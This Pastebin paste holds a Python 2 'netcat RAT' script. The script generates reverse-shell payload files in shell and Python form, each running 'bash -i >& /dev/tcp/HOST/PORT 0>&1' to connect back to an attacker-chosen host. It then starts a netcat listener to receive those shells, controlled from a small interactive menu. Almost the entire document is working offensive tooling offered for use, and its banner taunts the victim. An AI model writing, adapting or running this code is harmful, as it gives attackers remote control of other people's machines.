Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # netcat rat by deray
- import subprocess
- from sys import argv
- import time,os
- banner = """
- __________________________
- < u wanna like me? -victim >
- --------------------------
- \ __
- \ (oo)
- \ ( )
- \ /--\\
- __ / \ \
- UooU\.'@@@@@@`.\ )
- \__/(@@@@@@@@@@) /
- (@@@@@@@@)((
- `YY~~~~YY' \\
- || || >> nCAT by Deray
- """
- set = """
- name description current setting
- ---- ----------- ---------------
- host host to listen {}
- port port to listen {}
- exit byee
- """
- # generate payload
- # ex: python nc.py LHOST=192.168xx LPORT=4444 -R payload.sh
- def pyGen():
- c=argv[1]
- d=argv[2]
- e=argv[4]
- if c != "LHOST=" and d !="LPORT=" and e !="-R":
- print "lhost :",c.replace("LHOST=","")
- print "lport :",d.replace("LPORT=","")
- print "output : {}/{}".format(os.getcwd(),e)
- print "generating payload ..."
- time.sleep(3)
- if ".py" in e:
- try:
- file=open(e,"w")
- file.write("import subprocess,time\nsubprocess.Popen('bash -i >& /dev/tcp/"+c.replace("LHOST=","")+"/"+d.replace("LPORT=","")+" 0>&1',stdin=subprocess.PIPE,stderr=subprocess.PIPE,stdout=subprocess.PIPE);time.sleep(4)")
- file.close()
- print "payload created {} bytes ...".format(os.path.getsize(e))
- except:
- print "failed to generating payload: unknown path",e
- else:
- try:
- file=open(e,"w")
- file.write("bash -i >& /dev/tcp/{}/{} 0>&1".format(c.replace("LHOST=",""),d.replace("LPORT=","")))
- file.close()
- print "payload created {} bytes ...".format(os.path.getsize(e))
- except:
- print "failed to generating payload: unknown path",e
- else:
- print "ussage: "+argv[0]+" LHOST=192.168xxx LPORT=4444 -R payload.sh/payload.py"
- # Listen menu
- class main():
- def __init__(self):
- self.ip=""
- self.port=""
- self.cek()
- def cek(self):
- while True:
- s=raw_input("netcatRAT~$ ")
- if "set host" in s.lower() or "set lhost" in s.lower():
- self.ip=s.split()[-1]
- if self.ip == "ip":
- print "[+] failed to input host",self.ip+" did u mean?";self.ip=""
- else:
- print "LHOST =>",self.ip
- elif "set port" in s.lower() or "set lport" in s.lower():
- self.port=s.split()[-1]
- if self.port == "port":
- print "[+] failed to input port",self.port+" did u mean?";self.port=""
- else:
- print "LPORT =>",self.port
- elif "?" in s or "help" in s:
- print set.format(self.ip,self.port)
- elif "run" in s.lower():
- if self.ip is not "" and self.port is not "":
- print "[+] Listening on LPORT",self.ip+":"+self.port+" ..."
- os.system("nc -l -p %s"%(self.port))
- else:
- print "[-] Sorry host or port is not set."
- elif "exit" in s.lower():
- exit()
- elif s == "":
- return self.cek()
- else:
- print "[-] Unknown command:",s+" type 'help' for more options'"
- if __name__ == "__main__":
- if len(argv) !=1:
- try:
- if (os.system("which nc") !=0):
- print "[-] netcut program is not installed :')"
- exit()
- else:
- os.system("clear")
- pyGen()
- except:
- print "ussage: "+argv[0]+" LHOST=192.168xxx LPORT=4444 -R payload.sh"
- else:
- if (os.system("which nc") !=0):
- print "[-] netcut program is not installed :')"
- exit()
- else:
- os.system("clear")
- print(banner)
- main()
Advertisement
Add Comment
Please, Sign In to add comment